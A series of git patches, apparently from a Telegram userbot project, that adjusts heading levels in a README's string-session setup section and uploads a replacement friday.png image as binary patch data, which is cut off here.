[](https://t.me/stringsessionbot)
From e20e3c79bb29e8bf83129fbc7b0f87ebf2757410 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:25:00 +0530
Subject: [PATCH 175/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 2c009bb9..25edb690 100644
--- a/README.md
+++ b/README.md
@@ -36,7 +36,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
### String Session (Need before deploying)
-#### Using the Bot (Recommended)
+### Using the Bot (Recommended)
[](https://t.me/stringsessionbot)
From 5ef6f1904d9d0e92e1c3898ca4e32f8c7c6fe267 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:25:21 +0530
Subject: [PATCH 176/838] Update README.md
---
README.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/README.md b/README.md
index 25edb690..6c1399bc 100644
--- a/README.md
+++ b/README.md
@@ -35,7 +35,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from
-### String Session (Need before deploying)
+## String Session (Need before deploying)
### Using the Bot (Recommended)
[](https://t.me/stringsessionbot)
From 5c6d1b918beca3373011b695f8fd1a67312261d4 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 22:44:32 +0530
Subject: [PATCH 177/838] Add files via upload
---
friday.png | Bin 815782 -> 122567 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
diff --git a/friday.png b/friday.png
index 4062a6d57fb388e6717d2a34ff00e31d260dbd15..d6066f87730cd37952acc2ae20d0d68c22048eff 100644
GIT binary patch
literal 122567
zcmdSA1yfv27d09P9vlLLLjpkqgF6#EcyRaN?(P2u8_YP(Y_(MlR0N#;L?K64zj{Kd3
zh@g^d`fZ}p-Ua%?|2J!X
zhXnHh4w%`(V8Y@7SNUzhlEX3l?|S%eNNWGP=Lg^a|KCWHaUBS9`|mCwxx_U@5eelJjwmZFr*1M)HQ!GJ*vO2h)1D
z#&eSF4+^Il*nQuE=y(E2T>4ZSUs4}yn~uXTq4$EbDX=uM`j)a&i>
zD$*5yi+%a+Ak^c36^vQEl`Hh|9Bx+BvoJ8ox6@4;g^O3F>(K3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